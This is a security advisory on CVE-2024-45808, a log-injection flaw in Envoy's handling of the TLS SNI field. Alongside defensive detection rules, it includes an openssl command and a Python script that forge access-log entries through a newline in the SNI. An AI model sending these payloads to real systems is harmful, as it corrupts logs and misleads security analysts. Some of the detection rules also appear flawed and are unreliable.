CVE-2024-45808

Executive Summary

CVE-2024-45808 is a medium-severity vulnerability in the Envoy proxy that allows an attacker to inject arbitrary content into access logs by exploiting insufficient validation of the REQUESTED_SERVER_NAME field. This field, derived from the TLS Server Name Indication (SNI) extension, is not sanitized before being written to logs. An attacker can craft a malicious TLS handshake with a specially crafted SNI value containing log injection payloads (e.g., newlines, carriage returns, or other control characters). This can lead to log forging, log poisoning, and potentially the injection of malicious content into downstream log analysis systems (e.g., SIEM, ELK stack). The vulnerability affects Envoy versions prior to 1.31.2, 1.30.6, 1.29.9, and 1.28.7. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the lack of a workaround and the potential for log injection attacks make patching a priority.

Supply Chain & Package Security

Envoy is a critical component in many cloud-native and service mesh architectures (e.g., Istio, AWS App Mesh, Google Cloud Traffic Director). This vulnerability can be exploited by any client that can establish a TLS connection to an affected Envoy instance. The impact is primarily on log integrity and downstream log processing systems. Organizations using Envoy as an ingress gateway or sidecar proxy should prioritize upgrading to the patched versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required; a simple TLS handshake with a crafted SNI is sufficient.
• Privileges Required (PR): None (N) - No authentication or privileges are needed.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): Low (L) - Log entries can be forged or corrupted.
• Availability (A): Low (L) - Log injection could cause log processing failures or resource exhaustion.

Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score reduce immediate risk. However, the potential for log poisoning and downstream attacks (e.g., log4j-style injection into SIEM) warrants attention.

Deep Dive & Mechanics

The vulnerability lies in how Envoy processes the REQUESTED_SERVER_NAME field for access logging. When a TLS connection is established, the client sends an SNI extension indicating the server name it intends to connect to. Envoy extracts this value and makes it available as a formatter variable (%REQ(REQUESTED_SERVER_NAME)%) for access log templates.

The flaw is that Envoy does not sanitize or validate the SNI value before writing it to the access log. An attacker can include control characters (e.g., \n, \r, \0) or other log injection payloads in the SNI field. When the log entry is written, these characters are interpreted as log delimiters or formatting commands, allowing the attacker to forge log entries, inject false data, or potentially exploit vulnerabilities in downstream log parsers.

For example, an attacker could set the SNI to:

legitimate.com\n[ERROR] User authentication failed for admin

This would cause the log entry to appear as:

[2024-10-27T10:00:00Z] "GET / HTTP/1.1" 200 - "legitimate.com"
[ERROR] User authentication failed for admin

The second line is entirely attacker-controlled and could be used to mislead security analysts or trigger automated alerts.

Vulnerable vs. Patched Code

The fix involves adding input validation and sanitization for the REQUESTED_SERVER_NAME field before it is used in log formatting. The patched code likely strips or escapes control characters (e.g., newlines, carriage returns) from the SNI value.

Vulnerable Code (Conceptual):

// In access log formatter
std::string server_name = request_info.getRequestedServerName();
// Directly used without sanitization
log_entry << server_name;

Patched Code (Conceptual):

std::string server_name = request_info.getRequestedServerName();
// Sanitize: remove or escape control characters
server_name = sanitizeForLogging(server_name);
log_entry << server_name;

The exact patch is not publicly available, but the fix is included in versions 1.31.2, 1.30.6, 1.29.9, and 1.28.7.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• An affected Envoy instance (e.g., version 1.28.0) configured with TLS and access logging using %REQ(REQUESTED_SERVER_NAME)%.
• A tool to send custom TLS SNI values (e.g., openssl s_client or a custom Python script).

Exploitation Steps:

1. Identify an Envoy endpoint that accepts TLS connections and logs the SNI.
2. Craft a TLS handshake with a malicious SNI containing log injection payloads.
3. Observe the injected content in the access logs.

Example using OpenSSL:

# Craft a malicious SNI with a newline injection
echo -e 'GET / HTTP/1.1\r\nHost: legitimate.com\r\n\r\n' | openssl s_client -connect target:443 -servername "legitimate.com\n[FAKE] Critical security event" -ign_eof

Example using Python:

import socket
import ssl

hostname = 'target'
port = 443
# Malicious SNI with log injection
sni = b'legitimate.com\n[FAKE] User login from 192.168.1.1'

context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

with socket.create_connection((hostname, port)) as sock:
    with context.wrap_socket(sock, server_hostname=sni.decode()) as ssock:
        ssock.sendall(b'GET / HTTP/1.1\r\nHost: localhost\r\n\r\n')
        print(ssock.recv(1024).decode())

Expected Result: The access log will contain the injected content, potentially breaking log parsing or misleading analysts.

Blue Team (Defense & Detection)

Detection:

• Monitor access logs for unexpected newlines, carriage returns, or other control characters in the SNI field.
• Use the detection rules provided below.

Mitigation:

• Upgrade to a patched Envoy version immediately.
• If upgrading is not possible, consider disabling SNI logging or using a custom log format that does not include REQUESTED_SERVER_NAME.
• Implement a Web Application Firewall (WAF) or reverse proxy that sanitizes SNI values before forwarding to Envoy.

Indicators of Compromise (IOCs)

• Network IOCs:
  • TLS handshakes with SNI values containing control characters (e.g., \n, \r, \0).
  • SNI values that are unusually long or contain non-printable characters.
• Log IOCs:
  • Access log entries with unexpected line breaks or formatting.
  • Log entries that appear to be forged or inconsistent with other logs.
• File IOCs:
  • Modified access log files with suspicious entries.

Detection Engineering

YARA Rule

rule CVE_2024_45808_Envoy_Log_Injection {
    meta:
        description = "Detects log injection attempts targeting Envoy REQUESTED_SERVER_NAME"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45808"
        severity = "medium"
    strings:
        $sni_injection = /[[:cntrl:]]/  // Control characters in SNI
        $log_injection = /\n|\r|\x00/   // Newline, carriage return, null byte
    condition:
        any of them
}

Sigma Rule

title: Envoy REQUESTED_SERVER_NAME Log Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject control characters into Envoy access logs via the REQUESTED_SERVER_NAME field.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45808
logsource:
    category: proxy
    product: envoy
detection:
    selection:
        request_server_name|contains|all:
            - '\n'
            - '\r'
            - '\x00'
    condition: selection
falsepositives:
    - Legitimate use of control characters in SNI (unlikely)
level: medium

Suricata Rule

alert tls any any -> any any (msg:"CVE-2024-45808 Envoy Log Injection Attempt"; flow:to_server; tls.sni; content:"|0a|"; nocase; sid:1000001; rev:1; reference:cve,2024-45808;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Envoy to version 1.31.2, 1.30.6, 1.29.9, or 1.28.7.
2. If upgrading is not possible, remove %REQ(REQUESTED_SERVER_NAME)% from access log formats.
3. Implement input validation for SNI values at the network edge (e.g., using a WAF or custom proxy).

Long-term Measures:

• Regularly update Envoy and other proxy software.
• Monitor for new CVEs and apply patches promptly.
• Implement log sanitization in downstream log processing systems (e.g., SIEM) to strip control characters.

Workarounds:

• None officially provided. The only reliable mitigation is upgrading.

Valters IT
DevSecOps & Cyber Threat Intelligence